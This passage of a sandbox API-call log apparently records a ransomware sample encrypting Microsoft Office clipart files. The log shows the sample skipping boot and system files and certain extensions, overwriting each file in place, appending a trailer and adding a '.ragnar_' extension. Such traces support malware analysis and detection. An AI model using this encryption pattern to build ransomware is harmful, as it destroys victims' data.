[0085.436] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20662) returned 1 [0085.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x50ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.436] GetProcessHeap () returned 0x580000 [0085.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.436] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.438] VirtualAlloc (lpAddress=0x0, dwSize=0x50b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.438] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x50b6, lpOverlapped=0x0) returned 1 [0085.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.439] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.439] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x50b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x50b6, lpOverlapped=0x0) returned 1 [0085.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.440] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x50b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.440] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.440] GetProcessHeap () returned 0x580000 [0085.440] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.440] CloseHandle (hObject=0xf4) returned 1 [0085.441] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" [0085.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ragnar_FD7BD9FC" [0085.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0085.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.441] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185796.WMF" | out: lpString1="J0185796.WMF") returned="J0185796.WMF" [0085.441] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned=".WMF" [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="autorun.inf") returned 1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="boot.ini") returned 1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="bootfont.bin") returned 1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="bootsect.bak") returned 1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="bootmgr") returned 1 [0085.441] lstrcmpiW (lpString1="J0185796.WMF", lpString2="bootmgr.efi") returned 1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="bootmgfw.efi") returned 1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="desktop.ini") returned 1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="iconcache.db") returned 1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="ntldr") returned -1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="ntuser.dat") returned -1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="ntuser.dat.log") returned -1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="ntuser.ini") returned -1 [0085.442] lstrcmpiW (lpString1="J0185796.WMF", lpString2="thumbs.db") returned -1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.442] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 0x20 [0085.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.442] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25868) returned 1 [0085.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.442] GetProcessHeap () returned 0x580000 [0085.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.442] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.444] VirtualAlloc (lpAddress=0x0, dwSize=0x650c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.444] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x650c, lpOverlapped=0x0) returned 1 [0085.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x650c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.446] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x650c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x650c, lpOverlapped=0x0) returned 1 [0085.446] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x650c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.446] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x650c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.446] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.446] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.446] GetProcessHeap () returned 0x580000 [0085.446] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.447] CloseHandle (hObject=0xf4) returned 1 [0085.447] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" [0085.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ragnar_FD7BD9FC" [0085.447] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.447] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0085.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.447] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185798.WMF" | out: lpString1="J0185798.WMF") returned="J0185798.WMF" [0085.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned=".WMF" [0085.447] lstrcmpiW (lpString1="J0185798.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.447] lstrcmpiW (lpString1="J0185798.WMF", lpString2="autorun.inf") returned 1 [0085.447] lstrcmpiW (lpString1="J0185798.WMF", lpString2="boot.ini") returned 1 [0085.447] lstrcmpiW (lpString1="J0185798.WMF", lpString2="bootfont.bin") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="bootsect.bak") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="bootmgr") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="bootmgr.efi") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="bootmgfw.efi") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="desktop.ini") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="iconcache.db") returned 1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="ntldr") returned -1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="ntuser.dat") returned -1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="ntuser.dat.log") returned -1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="ntuser.ini") returned -1 [0085.448] lstrcmpiW (lpString1="J0185798.WMF", lpString2="thumbs.db") returned -1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.448] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 0x20 [0085.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.449] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33824) returned 1 [0085.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8417, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.449] GetProcessHeap () returned 0x580000 [0085.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.449] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.450] VirtualAlloc (lpAddress=0x0, dwSize=0x8420, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.451] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8420, lpOverlapped=0x0) returned 1 [0085.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8420, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.452] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8420, lpOverlapped=0x0) returned 1 [0085.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8420, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8420, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.453] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.453] GetProcessHeap () returned 0x580000 [0085.453] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.453] CloseHandle (hObject=0xf4) returned 1 [0085.453] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" [0085.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ragnar_FD7BD9FC" [0085.453] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.454] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0085.454] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.454] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185800.WMF" | out: lpString1="J0185800.WMF") returned="J0185800.WMF" [0085.454] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned=".WMF" [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="autorun.inf") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="boot.ini") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="bootfont.bin") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="bootsect.bak") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="bootmgr") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="bootmgr.efi") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="bootmgfw.efi") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="desktop.ini") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="iconcache.db") returned 1 [0085.454] lstrcmpiW (lpString1="J0185800.WMF", lpString2="ntldr") returned -1 [0085.455] lstrcmpiW (lpString1="J0185800.WMF", lpString2="ntuser.dat") returned -1 [0085.455] lstrcmpiW (lpString1="J0185800.WMF", lpString2="ntuser.dat.log") returned -1 [0085.455] lstrcmpiW (lpString1="J0185800.WMF", lpString2="ntuser.ini") returned -1 [0085.455] lstrcmpiW (lpString1="J0185800.WMF", lpString2="thumbs.db") returned -1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.455] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 0x20 [0085.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.456] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24238) returned 1 [0085.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ea5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.456] GetProcessHeap () returned 0x580000 [0085.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.456] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.457] VirtualAlloc (lpAddress=0x0, dwSize=0x5eae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 